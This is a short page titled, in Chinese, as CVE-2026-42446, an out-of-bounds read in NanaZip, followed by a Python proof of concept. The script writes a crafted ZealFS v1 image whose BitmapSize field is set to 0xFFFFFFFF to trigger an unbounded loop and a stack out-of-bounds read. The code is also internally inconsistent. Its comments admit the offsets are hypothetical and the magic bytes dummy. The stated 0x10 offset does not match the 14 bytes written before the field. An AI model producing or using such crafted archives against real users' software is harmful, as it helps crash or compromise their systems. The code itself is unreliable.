CVE-2026-42446 NanaZip越界读取漏洞

import struct # PoC to generate a crafted ZealFS v1 image # Trigger: Stack-based out-of-bounds read via unbounded loop driven by BitmapSize def create_crafted_zealfs(filename): # Simulate a minimal ZealFS v1 header structure (Hypothetical offsets based on description) # Assuming offset 0x10 is BitmapSize (4 bytes integer) with open(filename, 'wb') as f: # Magic bytes (dummy) f.write(b'ZELA\x01\x00') f.write(b'\x00' * 8) # Padding # Craft BitmapSize field (Attacker controlled) # Set to a very large value to trigger the unbounded loop # e.g., 0xFFFFFFFF bitmap_size = 0xFFFFFFFF f.write(struct.pack('<I', bitmap_size)) # Fill the rest to make it a valid file size f.write(b'\x00' * 100) if __name__ == "__main__": create_crafted_zealfs("exploit_zealfs.bin") print("Crafted ZealFS image generated: exploit_zealfs.bin")